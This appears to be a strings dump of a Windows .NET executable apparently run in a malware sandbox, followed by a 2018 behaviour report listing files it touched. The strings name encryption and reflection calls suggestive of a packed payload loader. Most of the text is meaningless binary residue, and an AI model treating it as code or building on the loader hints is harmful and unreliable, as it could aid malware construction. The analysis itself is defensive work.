-2L{
!'|3
IwB$
r6YNV
;'w*0
)h7E
znz2WAJRAdSlHV3eLAMR5
sQPl
=>@
agym
R\:?
Abb3{S
k5PD'j/
gLEd
Inu$sy
n_CZ.cI
*B;g
_W()
b1#F/N
MessageBox
Yggy
xNL+
a\Uk
$6j0
Htr|
>wQ}
Exception
~Dq`
([~a
uJx0
-(p:F
S
@'y
$&wl
U*#7
d8Du:
G_\t
:ElKbOL
Do%
|OP
X#\#
1t:By
ew]H
4$,i
xMD<
iY]#d
:"I>
Za%B
WAy$
B &
_
*{~.q
aG%RZ
1rTf
|$NF$
o 97
`U$?
vP/.bL
G`Z}k?
$7F7'$.)V)
k!q+\
86a
NRUZc
'C@4
)qs:
jC0
>0:1
Wj2cD
(2f'
lg"8
Ri+@|
,wTC
29'[
8YjHQL
cLo1u
.hOsy
V9m/
k6[V
hxZ(^
9P2g
zo
b
q)=
YlEJ<"
D0tp
:R7s
^[I:W@
|Qz<
Q6)e
&2EyUBAY2552gHTPSdLVOYP2rltzUKi4lIl59Ln
K?;|d
|8r;P
,`;~
.U?#
M#o
A1],
gWzNA
zm>v
'VVt
piw]P
N
ct5
Ihor
2I4Q
M{_AP
|n8~
x\,
Tf\mO
98iT
@K
$
yl%6
Y<!06
r|C#U
_DA{P
"j\z
qkW]8
ehhhgX
*ZAG4
u3[o
YX||
U+6#
iWH r
J79~
u&y
K
V
mZ
`aSh
7b]Y
whCco
y8D-aQ
Ze!S
! >]
GetMethod
r=Bl8
=1
o
t&:v
<lpfw
9m*v
duyN
DKc{
M&!|
Zn:v
-eH;<i
KvB2
Chk{
qe<w
0v%k
[r9_
k?$
]r2e
`	pJ
/AgX^
d	yuT
0NJiXDnJdGWOKtAIIWQf18BZ9b
q:ac
Uj]Z
r6sW
{F)gs
Fk&#
-	t.Z
_e*1
9)T;
I1-6
O@MU
ehQC
c6}u
gpzI
#LY7VqtsHZzHEEjbBiTA3Ej7cVG0W73439pm
[>^t;
a6vd%
Qy>2010
m1J0I
r-MQ
|lCF
G/xcOzY
System.Reflection
0HI
e\Qtj
<\(+8
#WK
^ta7I
^y
5
Z'zg
pi{4=
E^/
TRnS
RuntimeTypeHandle
4,Hz
[05L
%%?1
*,PV
}@}4w
fffffff
@[c%
Gnr~q
7vd]
R0{p
b+=r
p2*u
PHx#
h2em
H!6I
E4{.N
$2:9
n4[2)
Yz"t
~lrr
+_]6
!0Y=yf
k_6l
Jcwi
c
}I
E7ej
,ik>
e`'^gFL
ubj$
zV9	@w
'lF!+
Append
}5K\
mY;'
}xz@
+7>
LarX
@[gw}
)+H@
km^R]
]}{FS
YD'U
1$oJ
(vt
r<-j
N
$*@C
[r&m
u9X7ZVty4g6C0QvREVlWCSqvfYKSaVR
@g
v
$KsH
,	|
c9Av
n?=6
S#)Y
i;L^l
l9t!
N_T[z
#Hd~
)BEym
hZgY
y5X:
|8}c
|-K;
;z(_
k.h:sc
:1Pu1
X3 q
*6nbV7{
vh{"
.cwj
_Qin
JK1
k*0WZ
9?l	:
/
@n
*jsq
Rsw*Z
SymmetricAlgorithm
8bXK
^vC
X=<
Y$pR
GKenY
3B9jU
86}V
L[r
U9bi
'o;
_2@R
(CaF
x$Gq
vHBj>K
(U\
JMTz
m)Vn
|:0
3KA*0S
[Cdq
!A'B
m,v
ccGG
8p7r
"3j7
`N	k
]'LEx
0<<<
"44S
77'#
0A#!
];It
tb _n
}5
%B_
FXi:
{0Y?
TQut93ga15pbuq9JGfi4JYD
2cw)
bL',
|_X(
3b`]
z~Z}
c7tV
on]3U
_I%=
,>9r
gE|w
|:03
L&1Z;
Jyt
R^3d
K(6J
M:PR
3N$D5
I[,T
^eoS
kEj>
X
O](_
DXZlVtoIBlLA0hLJxILAF3bmVZsrePuv
8Ngs/
zVE~\^
J[a
)oK0
-H7w|
:/)l
uiX~
X}ht
"`s,q
=4w=
zc!
AVUmO)x
9@3w
ly2p
n`1L
x@A
O:oR
/!PD
t 4
get_Message
!This program cannot be run in DOS mode.

$
HB4:)O
;7J1
XHzov
I ;dZ
RY7{
xp*F|g
vI]GXS
7U9G
gu$a6
JpQjjm
rf$c
=Fn]
/P0
's/f
]g>_:
bh)
?^-I
4r$e
4VQl
1.9(
"K#X^
8KR}
_Xn
8i\z;
mS<H
#t*
T/Zff
#3[Da
oa>s
bzs,T
dgX2
,Pl*
q)TN4_
NmYa;
=R$'
?D
M
'=S"
*8#E
:f+,w
%4#=
!I
V209W
OZ',s
9!MrV
uY{
b(sz
gR^3
'gF=y
*i/C
K=8UL
C,hecc
%gXb{?5
^o4z
jG!(//
je-x0
i;U8
`z$?
F<vx
Mp99
jjp5<
V.{CH
Kz|aD
3t(k
%$K4
J^M0
D3C1
;R4hk
i}(00
b~Gq
wRs\
K"m).~
akX$
J[Tt
)iVa$
$-<8l
Ml%o
[tA'
c"a/
f~lp
hmPg
K%?}t!
}`xH
1q4
w\i8
'Muh
#tY
&vVzUSCZ91YM5xhvn2btnhLP7D4w3TcbHd4yQ7V
{9S.j
)VrH
H8%B-_
L(9
[p\Z
>d2m
gO8T
H0aq
o_?
o~	!
BSJB
mJV
H$:p
0bLM/q
J
Nf;n*
E0wH3W{
q+G+
&qSl
a^
X
7y r
8|0K
X576
.{6j
UE[r
d%)iH
x8-b
xk~R
s8,xO
hilo
ws(r8j
.j+_
,&%0
jAsBB
XVap[N
>Bmk
R>|*
T@ZO
d|BW
^_pR
@JR
<[Xq
EtMP&
,ck
\WDu
jG<
tod(
zw"S`
ArK,Tp
LLL@
m!eQ
y*bE
pUo'w
<Ci	n
Nn~H/t
naD
58Y(
![(
Q3Ar
MIZ
=?EX
/WmR
.'t!
jt
R
5lI4
[:$tr67
9t:9
ZWn!
AViQk
:(nr
}]9|
"6'+_
>BP'G
>XrsKf
{uWb
_p;}(
!wztn
Bn[t}
5/}19
O)QN
{s3vr
Da&G
E:n
(w	x
S!zWDu
Hgfddt"
p+
c:'16
W^Fnl?A
&"B=
Yp[7
5////////////6!
6H^zR
KE.%WO
DZ%
ZS9x
r,ek#
X[B
$=GHG)GGGGGGGGIJ
$MVY
\Mhc'O,
d%hk
mnAl
R$;d
6XBK
b`}
|
Q<=
RijndaelManaged
7Bfm
45$>
@2~/
otvpe
P?R
8I~6B
}!{
P,B[
2C1J]n
D-9D;
k 9Dx
N0`u[di-
$p/ (1
cM`G
W)SA
Kv%#&
[|VJ7y
)d)
%Jte
(-?mCDn
7hfk
qH,/9
_O9Z^
:)|I
.]P{=
>Y-7
?!2+]&
!2,c
Q]/
:5vxd
u|"8U,N
k
Bkh^
eAt<
4BDs
tc9Y
aT4x
KUmB
8oUH
YK?n
(sx.2
Z gz+
t##o
RK~O6Q
ef;9
R,=bk
X0c
WJCTTLW
@Uw?
>Y3NBF
\~f%
[PYN
-S4H
/r}(
7q
6@]
>uZ]
7cy:
n} 1
me_Vq
3
\Iz
+wZ*
Jr+h
z({s
wuv\
.QW
pzrl
we\!W
-[M1e
B986a
`9:
a^ZNy\xr
A"dB
1Pg-e
:m@G
QS$R
:UA7
XOArR
g7LG4
kR@L
8u$;
'Elo2
"ye|{
NK7R
R}=~
9'e:
H?{^
E`!Rt
ibe;
}V8/
Wt''
Y1KW
8$H=
k*j;
wqVC$@
1@{
1W-
#75`]#
zx).^UR!95:~y	f
If_:
eyiB
)i1=
z|p\
?t`
(_
u
Nh7grC
QQQQQQ
fJNON
Qidk
]F	i
5}S>r
c a7xq
k|uT
u*Wz4
MethodInfo
oFW
@IE@
A%j=}
cW?k
[gz-
;6^{)
o\v.Mu"v
{R&9E
vSFQ)
|?0F
3y3\B
get_EntryPoint
hB&p
07+s
CompilationRelaxationsAttribute
d		Y
gj2x
q|U?
UAkF
vC&p
px|5
=aV"M*n
(%(Y
ySps7
3Uqs$
U|h!
IVJE"
]Oqk0XjW
"vR}=
i6,(
V[w~
++++
m/XNCL
`E>c
fad>
wl2i
#}Q '
qaou
{Jinm
G:6h
V|\JO
U-v#
0	H
 f
7xB^
mtajN9
'2bJ
O)Mn
k>g
3;r$@#I
gkL*
O|j>
16zh
x*-s
Z5ZKc
>	@
7I2Z
S#X6$
BCDEFGHIJK
!lqUX
:Ye&
jIEq
r('MH
,jN%;
L=u8
IA\&
)z;&
c~X}
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
{@/e
o9:
O4!2q
Hu%a
tu5V
-qNXP]
.)GP
5$=P
>D&U%
^Hb-S
sP|.s
Qv$l
:$Ge
LJrG
f$?c'T+,
(Zz<#9
s#Mp
S}Qf%
qcG=CyZ
x@@00@@@
|^,4t
G)rn
y(7a`
M>F@J
MNPy
<4he
oXT:
thb
I#kq,
-F{ohs
GS/w
Microsoft.VisualBasic
_tLg
9Bf
;3=k
<3)_
!Xbw
>r3N
B4<
J5'Z0
wNzf
LH9u!]E%
"mJ/J
"8Sb7ttR13vyAdg5UimsvB1XIUigR24kwGi
388$1T
^r}Q
1_&M
SH>Z
C[_a
5ff<
~,%	P
&#[^
f?8}QtQ
G	pN
7g~T+5
+- B
t ]S
cMe
Mt}I%
6
q\
_KVx
qex#Q
/;
.~(-`
F7v9L3Ce7WxCd3NtnM1fNYlF6ei9
LLLLLL
v7F5!
N'dLc=
MDE
EY3K#4Z
/<d$
|}]<9+W
[[Q!
GL}-
[#G
%Xj>q
=e8
*@7LU;]
x3\;
L)sm
-a
b
^}</
^8A,
tHI"^/~
SvT>e
2
&@
iZFI
9~cs
JB1O
~;!G
rP
k
&jy~
xgk<
5O`
gdUEHm
9gEJ
5X&@
Lq+h
l}f>
d~;ad
ikhh*9
smZ
'O!)!v
2:<Dy
"+ojzy
="KIF
[TD;5
9eA)d u
Kp[F%
n#Is
$NF$[[\!\
:wCZ
_(":
%#m!
'V(J
45+e
LhyI
]dI`!
l~}rq
4:/j
}/=0,
C)V<
HqrB
@(53'
(^DC
U5>_
8k\_
S1H=D
Qp*K
Nc0b
Cr.s
"zW!
F?G)
Oz
|)g
G)C
i/y;
'Ny($
#<'PK}
@,Fq
v8} KZHO
5}">
'?,@@@@@@@@@8
7,\2H
XE'}
+;P|-
4W>Y
x
8$d
&O<,
^m\D
{-Yf
s},:-
l/'~
?d';q
?q\f
ls.QB
\|xjOY
L}(9
tT.
+&>8m$
x?vE
ZrulZ
n)L8
e=ws
9,})
3NuL
LFFHK
};l3
:38O
E[nr
y%q
8xMQ
G	 6^
e`"
qO)T
|q&4='
kT 4
A
JG
T8jD
f_p	mK
+NdNo6,
aGq
e(04
P`44
<RQ
V::s
FrNw:"
3M}[ss
P7o,
System.Text
m_KG
G@<?
>#9^
nbm6
{FrhV;
]l6wl
TKZ)
_V0v)
lVDL.p
{xsf
System.Resources
2)6E
kY,
(i-Q"WD1
f"9+1
a|?%i
3YP8;
,F~6Q6
fb^4
LCk
($(^
vjn>B
z`@E@
?LFnV\
}A	V
16.
X,MX
h4hJ
Rn6
fw?A
j\i$
X
d&
/JD!
@-\|E
NU~Q
9Gr6"!}
KTT)
#$fg
5;~
e/Y6
)c?8
rOp,
.GCauk
wXqH
GetObject
sVtl
~n_I
p))'
I<y)(=Q
^l:si,@
q,3B
Z Ne
7y"L
1
m,
^nVWtBL%h
_PQ
nW3a
|$&>
bZX>
9wSaX
O^	p
c>
(+M6
6jz
J;h/
@/+e]E
B
&
%
9
U$)~dz
:U-]
gj#o
{)Y?2
!D
H%*2|
f(J_
Q##%
;B$h
0oK}E
sJt}
L'mw
V5%$
z+M;
V_H
Q]-
te<L8
{u+4v^`
$0u
Show
vG'q
wwwww
o"_ZN%
+/R=
20WY
WuG2
+=7y
[#6e
OJU
TPG=g
n,?o
i*f>
s)w'j
Q5Wj
ky@t
tj;
g&tNu
:L]9
u*`;
$x-BX
jZ,
ozR3
l1,H
vjI
nt/b
u<MG
Q[ Q
jX}
tn3
;kL!
nZ,K
^aR2
Sm
*{
( $'
UUUUQ
UUUUP
3C&X
P~saW
6PM;
(m@d
66jbYZX6dXKTs3dVZHFqx8tIuE
`E]a
#aaE
Y-f@
1f6D
hhhhhhhhu
;2Rh
hhhhhhi
set_Key
}^!;,
3#J&Wwm
-kdh
cF7'
#2Ntq
7n5)
u7OB
NR!
rIPu
vX>o
8|qV
,h
w
d-a
p6+}f>
k[o
gq n
#
L2!
"uT6
E!;9L
pcj
b=FJG<c;f
]_NL@+E
4D4Lm
ToArray
}x[b
(OYBo
m7oaznb
IJ}'
QW:J
pR$o
m	@*
$T&Sv
IEnumerable`1
{L	+
EOWtO
OsM'yC
t	q;*
?00[
;BJ
I+q:Q
kIX$
f*}z
J^:
A:/N
cY
MiT
$>S5c
z^k^/l0
-p$,
~[
"
C_sP
e}I
[vPwx
pm#N
TY+?
L
-;
-+Au
I>.	n
k{XJ}
I!~6
)II8";
Q9	K
&:UT
,R4j
3jUne+Z
.ur?
yPpP
@#a4g4
[S:[U
I93R<hR
wzCHl
RcR3RO
Gns#
c\Hs\
emKj
Z@be
_Iz8
m$c^u
m@uL
^3)<i
b5mM
rua
:96
18G)
%J87
x$$eeeee
\;}8\.B
211N
EY?v
;s:6
{a>/
&1	m
h,#!u{d
dJg6
(S$(H,'
O%AY!
RpPQ
uAP4
~[1$
U{B7
pQ!x
|(m6
#uE,
sSJ$
s[S
<}Qx
f&0vP
AddMilliseconds
.>2'
rgg3
nnnnnnn
RM@y
[N=,
?R(\
gg,(XH_
1
"L4bB
LlCS>
ncL
#QLH
7%$
@D,
Y),(b
J%Cwt
l=?K!G
tuu
G-Q
PpQc
JPY>
&P\
AQ)C
zDL]
t)Ap
#qU
R~N*Qe
;Q{t
'm5O6z
,*
^,oX
AV/P
ueO
T/RkR
Ks2#
`{i;
;"B;u
{>Es
-IW`
utN]
-hbJ\(`
$2]E
ywh05
1]'I
3Bbc
>bQm-[
o%%
# x'Nbh
nP;
=KM.
{m6k
U(N/
4T3+O
Is\`
(bo*
In'==
\a&`
b5Fk
7#8*,
un|'m
0?^Bo
V3_=
Hd~D
^CBY#
e{nO
/TWlO
3o3YC-*
dYV"
LE&`
lXf>
:{c=
aV+v
;%g%
!.'m`
GLFU
\7>a{G
/m
^jmJ
Ut(#P
ddox,
7m/7
5$dz
@r?4
(;oV9>
\yjH
rhW<:
@\2f
VP7hlR
6RxgL
)$,h
1ndQ$
.geg
s@wl
C1Bd
kIw9<
J:B
s
+Y+5u
t<P2
8_m;
D\8
c"@1O
Y[3'
=Cg'
?DW
mk}{*:
UUUUUUPU
qtGA5
d}wq
?0>r
1kU0Q
JN)
0NEc
bRkh
w%Nd
_<b
;0aO
mEGZ.p)E
kGq5
Mlwy-
><}
UUUUUUQ
is<u
r	wd
y~{vRQ
6/W0
b/i2Nh
xp
^{?:
d{H$
aU'
[6Mo
XfF!@N/5
,BWK8
.^i.
FmY
Zx<*
c~6C
YX.
|Rm#
-5%%
o`>PM
4_H
;BPtt
Qwe'o
G8g$
{8][>
>yXs
4L~f
%BBJ@
N3"E1^6
\.8
}"uT
v`:}
etu!
m=Hg
djRG
lI]
QI67
cJqu
I3\1
KbR^
?,u
[{7-E
u*P&z,
}n >^
%l'h
bw
6nusn
/X~*
[LU,
H2+W
H?"0
)uw@
&@Z7<<
.BlIs;
u$H
Fr
^
C[pcfg
=fm4
oDMrW
A4S)!
_*7dG
48M/
|nUh'
#xs~E7
"mY.
sx'o
B0.o
Q1=K;
oN=@
^ %v
d?M
797t
ci%YH
B5_vt
W1P?
/@~.
>+
bX,
x3<F"
$Qp{8$4
oY:p
U>}d)x
qzcf
YV)+
KdR~
'|BN7
\Co.
~iVx
3sUw
Yzvle,
\System.String[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PA
VSe>
'geD
>i=Y
O7i
MR
volY
v6-
,,LX
j-=
;`n\+[
&gy%$
NG$
gI0Cn
vv[6
Uwn9\
Nxd~
@f-0H
#!!{~
P8x3pMI
LoU9x
AG,w
%-	=
tM"`
>Z-)7
m!jBY6
@!Fq
@<86
vJw4
s_+PV
\\\\\\\
CJ!18
hTA
:ecG
B9Y
rpMR$
]
H;
F[%Jz
hp/A+1[
-0B@'o
^),i
nQly
PyrJ
tS:7
|S9W
=s~Q)
s86D
s|g12
|}pA{
2	0S9
M*1Z3!N3
sB}FA
eU<}'
~u@G
kn_w
(9E(
=tTQ0
lYU>e
MnC
1al}
x9%5,
NZyr
E6}H
C!]L;
u
r)"
2xun
7D0f
]6?
`F7'#
2xuf
F5ir
nT1v
X"?#
nHI8_
F	
6
=#58
fUX=h
HmTL
-av"
5Uzt&
r4T%
0'~&
ru1x
yA-d
75K]8
A71x
i)SO
13=]+%
7Y7,J
P=2>
jS6Sf
vUy
XJ-
;ox-
187e@
K>M&
'\tHbWQmG
1~V"
1@OQD
MU#A
UOK
f[o3
#rw
`rTS\,
>qEL
U2Y
$$$$$
[e*N
$2(x
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
RS;~/
O.3!E
99~Iw
/pCV4
`%s@
{^zP
37`@L
,,t^
T,vT!
@'/#
BQoB
ikkkkkkkkkkkX*
S
ye
!lad
|-nh
c&<</
Vm8R
(t!A
t2Y*
)w~F
~$eV!
yOq]
7 PV
399
7Cbl
NBN%
{>x~
FMum"n
G%N
$~6BR
R2^"
r%5tP
h4O$
j2/A
MvhHOo
=[(SN
$|
U{x1QQP
Gu5K
D[uI?
Rz<$
SwN^
=pW
E(	HH
$I0^0
{a[x
[C9(
2MyHV
>it
H_{
l6@
`j$]
?!D8
Vx@l
e
9
/FC5l
E:(p
H/<\
[3}~
x|r8
E=QI
.`@$
!]2S
{S7+
O
`q2
UT[o
\mz
4p!2gr
V_E
HiZ6
=IL
set_IV
/D>V
O6a
<SU/
F_f0
"""""""
Xy'
Y'*4
f/T2
xQh)Y
zi%
r>p"
q9
EGzc
hu|i
)s<<
ZdI-~B+l[
5vvb
#e=-?
5u(j
Y:a(_$
@%WJ-
{f<
g$Q0
aDCV
LH~I(
NB<
fm:3J
h9QK
Aa'\
CjJ
$_4!
GXnf}]U
N{N6-
:>NV$k~eQ
ELRa
;W18
M9Dh
.A8{
lHU-
GPu2jr61147SicnH14hDP41v5
!$*)y
} \sM`T%
nnKM*
7keT
4cYa
^Z9e
ZKkd
=oD-|
-'QY
fG<\J
bOxr
())))))))*+
i%/D^R
,n4B
0=H0
$[397
^9_bcdce
?;P.m
hXN+
@gk(3
=ELb
q0dU
B5%O^
AuA
Xw
c$e?
1Tg%,
pJ0d @
BA44ytiG
g+Z5o
f`;Gij
)Tnae
DsA[N[
MN1
wwwwwx
{n$`
ICk
a3a&
{iYMq~e
KR\
D>u+
2DIr
$E!F
CSyV?yo/
ss_J
?y,
0"ke`
Ul/E
={F
!V51O
``K}
J9Kd
8Y^=
NISX
1gJ[m
J7{
JS*
,>)qO
wM}y@
V^&Rb
K|<M
>*YY3d
KJ\`
pkdN
UUUUPW
;nSg
g3v
|ZcE
-_L4
Ra>J
A7DM
Pcub
=Am?cE&}
.!EN
uzoN
t(QT
z"v=M
~z.
+O^
5
H-Y
qTA"
|q*0
/Y0d
'FCW
w(M+
l0bCK
2)^L
"$gD
Bnd4
ph`5
|$NF7$xwYxYxxxxxxxxi
S:pb.
SEPT>
r\W!
4i[(
GetTypeFromHandle
F?jz
Xe_uH
*Sa$|
@/686p x
Nd2L
f]{
@GVUS
E7@
ll
(AW@G
(agH
Z_nY
bZGNc
|p6M`
%QqQ7
m
Ql3A
c=95Y3
@Yi0
?4\2S'
]z&	/
[Gbr
r\&
lM}o
cE2>K
loc
vU%VZ
ZEO>
QUUU
Ez>o
'S0(
iufK
9[&#j
I)%)x
_2c`
,oO^
{qxNX0e
r<;^
2p[C
'o8q
`/r!
=i6a
8 I
EY0X
6qIt
*=$c+
HiR4
$!Ar
Gke\
vt d
H0q-n
'yB<
]\w
lE91D@
"P:Tk
;;;;
Al\f
xGS}
*'C
U/=5
f?-
mXs8K?
ghghghgh#i
'X
l$^J	Q
eM%P
{gH<|
BS:bc
O6KP5.
rpqsM
e+?L
xbDR
r(};
/+}9U
++9
:>`T)x
qF'
7Q<EY
|$7F7'#$rtPtQttttttt}^c
t8c
Wf>ne{%_
zr0P
](,
8Phx
1iPeUSnwz83LLZLFXkpUcnL5zpSHi
Iq^N0
E};2X
?hT%"mN]
Y%:10
-'Q,RRRRRRRRRK
[b<`
i5pE
0PAV
?!k`52
tBi<e
<DNI
<WAx
7<]\
H=Ik
CIc`av
J;Q
+RV>E0
?zDzcZ
F4_>^}
9>t
qwn%l
5a;l
52Q*
x,*M]
amA+
ky@S
Zc_p]
QQQQQP
Y7,?
RE6uL_
/aE
Mso*V?&
yi'\
S83i
o	&D
-'i&G
2vX,
ESz.
)M'/\v
l_~L
6G)7
$9nopqrrrrrrst^gu^$uhetrrrrrrrrrrv
`w]{
Yh>Lp
System.Runtime.CompilerServices
udRz-
2:ni
EblQ
IS	$"Qwe=
FU6Jw
[	(ewFFr
xzU2
+a;7
h@fSM
Z?:(o[
xRyit0
HvAB
$?p
u(+%
<yg*
Rx4+
8,x2
Hy"0
W(N
Evn^J
p<R(Q
,|,6
5q=t
#&Q0
\pBO
+`B(&
!N^
h+
\
0&3r
+M]=A
>?D$
i
.h
x|us
;cc
DQ1
Oh>i%
-oRi
p7j
b	{R_
/012345678
u,	l
^s=L
~CqpvQC
5?c:B
$r%!q
EoU;7!v
.=9bedw
}&UP
KVk@\
c&'R
TransformFinalBlock
V Km
iQFaou
X17)
!E:&
u/0_
E.A.!
nE=I
System.Windows.Forms
G Q\$
<kE;M>
3+F#1(
"Iotu
/7$@O>
.X N
,Z'9
gdO>Ms
#shf[
)/|
OC=s
qV-1
lw;I\
|d7f
P5!V
]ziA}
_>Wd
EqC4
\64,
pPpq
9e1E
fg#7
Vlp
@1!y1[
w _-5
Dn;J
rh^F
Yyer
>H`YE03
mEm
>I*t
%  [
`173
->M
:Ce;o
`z"^4
Z{P_8-p
<,Kf
ZVZB
e}N7GM
>Q?4
.(3gZ
e~P/
8\u1
kAwn
:::::;z?
O'4EniO
{R(qzpM
wj6
>Oxh
get_Assembly
LXIEO
rF}P*v
yfoNY
6B;4
SI9]
I1s_v
TWY=^
______
KS{j
LateGet
e5{O
;nz_
"e?Sy
m-,!p
aYwI2
DDDD@
_BOD
,=t#
QqW(
* :X
]s*m
Ga&
6cF>
rYyu\
:7K;h
6rc8
?XsJ~
;\\fi
wwww
5j,6
(
UhH3
0Mo}
R|}>
#hy>
w12bS
P.HQf
=xJr)
Qa9s
^3e0iD>
P

w
?q+_
Oh
tzgj
#T:
?1l
:*:L
1MO?E'
s>;^
S-5X
@&p9
LU:@
IVA</
6QT:
SvZ#
r/d-
g4%fS#
_?Idy
hujayega
+@hL
h[P0C
!]^d
Eb}d
/wF3
6CcLq
|uLz
h8-gq
<ZgJ
BfUB
sO;t
:esQ
_}2X
rrF
`-e
VpUP
fgFkm
'NMY
"39nS
ssPjI
pA_]|N
ZG-$
bUA<
Tid$
~;l>h
[*lU6
2:4*
3Qp
Q{Cq
5
aB|
4ne[>
j4!
JYT'
48y9
OHAE
c"`q
Ez}d
w#}6
).k7)
*5I
9F4L
NY,lH
uJ?l9f
t3$g
c-p[m^$
eqq
'a	a
UCjv_
}M*
I.=B
,eIi!:
L[bz
<#P_
/3BI
Rb^'.
yX{=3
u5?k
.AJk
o3kG
e2Hsn26H3oltVXwJWAmPJnegfT7rH
M$
R@F
vrX}s
-'8i\
$NF7$)%Y%Y%
d)Vr
}LJ0\`O
2F,;
Hu5]b
ZQ.eD4
RX47
BfvZ
1n=r
wt	_
=o 
<xm8
'Q|z
/k{O
d?Q
Wf#4
9cg.
dawDY4n
or+GV
Al|NO
0	8g4%$
9*9/
(s>y
#`U^
A	$q
2@\i8
rF=R
yZ70
K|Oci
PuHPz
QQQQQ
qWx*
7#[d%
s
:H
88iL'l'
E+ i
y&\O
kL`N
q]7o
5Y\XB5"
c'Dg
$M0a"pC<
jmVH
]T"F
bhFF
Vn7Z};
GDa:
J8_J
Qq7]
NV
>
{+xUzw+
zAaT
(`z
6,ku1
?o##
+etv
-5k-
Z@!z
[
l
Jf5uU
ffff`
tHdj
I#,`
/|V	>
-=
~+f
NbmB
vJpj=
6jrjV
iO"N
GTh$
y-7X
`,pF
<#Bh
~Imb
J
kM
%TCNDOFYZX59Ll3QeI9FtU6PGpItTUdjLAdLNp
~3ji
;pj*
;=`YQ
U[X^
@gY
By
a=PiS
C*]vv
m#$S
k%m*X?
{S5l
D%5z
8u$tk-g2
J\vB
(IA}`
I6c7O
"
`t
_(]Bi
mFW=
t#c#u
!E^d
CqM(
@,gj
)d?R
UNFsO
[

H
w7A3v
Xh7r
lRB0
mYfE
\hm6
!"#$%&
&
0X
F=/_
M5Xp
E'Lm
bX9.p
\!ig
d=ap
(Wf}r
Kb@[
&zkX
+ T;O
Xhn
WYr<
c/VQ%
N`r
f@(0
5:Fo
kL8Hk
4P#C
pkHls
FjL|
7{XT
0EP
BW!3
[o&A^
{fqB
2;ye
hb5(
<|~U
~?G<zf
A?j}
b'ar
#&16
+DjzlY
a^Ka
9/N~
IoTQ
iku?
*r<
zbAcs
G=^O?0
;dK0
b.}gN
sOxzL
pv1$
5t`4y
ThOg
Giu8
.kI$3
MU3A
h`GW
i`nWWnnnnnnn
24%
),q_
b1kD
5Uqj*BM
Cb_7
' N7$
bYWGP5
c24N7
N=Vo
(yO4
A7t+
4]"?
B;8p
o*&R
mscoree.dll
f5Q8
"6|-_(
ZrgTD
LD$n
(`_?
9HV
3
*WAQ
lEYB
Cj`g]O
Rh@y
iFS]
!x6C&=
d
|tXV
wHS*=
63T
_&/C2
SFdr
O|_~
V-h,f
{h6	~
(O=
*!8(
>JK
73BuIc
$~Kt
yK(T
1*HA
DuP0
`k7
{@(8
D/;=
^`_1r
gS e/
System.Collections.Generic
2}dx]X
?X:,
w)Fv:
L]%7
PzYhc
]`*u
&6s'
qXc/4
2EBu
Mkz a.j
fqc`
%FHj;
$6[]
*BBVr
bbbb
#bhG
%H_kD
UUUUUQP
vo_W
~RpX
JU
o
g	'jo
^&-s
z)Vv:
\Rn4
aZ3`B
Z}:$
&0P
u8'<
g54
\
ddzT
Ec4:
*@k&
aFBpYh
.*k{
u'jb
a[#D
{rFI
jD0;
E+s>
WDE9l
"o|n|h
L,A
O=^S
Ji&=
*Ab^"hP
N|1.
s.}x
iC/h
Ato
;OhE
tWpM
`c)_
^=ZQ,
D`_k
:_k
MqN
I||p
)]GO7
PNx0h/zp
0C;F
wB/H+
ywgodV
$*V<?aWv
c%^AQX
`_iOR|?<
?%J
Y rM
:RisUhLV
^	7b9w
$(l7
3&&&5
MM<U
"	A!I	ZC6
,hE
C
1`ub
gV31
|S(v
(Xa
(er
oY+)
WL+
Rr(
[Z#ij]
S
&L
e?"1`
wo_6
6Ke,
7DVF0
50c8
D!Yi
h><*&a&
"ygYmJ
s\tO
w`F9Vm
Y9Vr/
Zsmu
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-05-14 08:16:22 2018-05-14 08:19:15 173

8 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-05-14 08:16:22 2018-05-14 08:19:15 173

6 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\hujayega.exe.config
C:\Users\Seven01\AppData\Local\Temp\hujayega.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
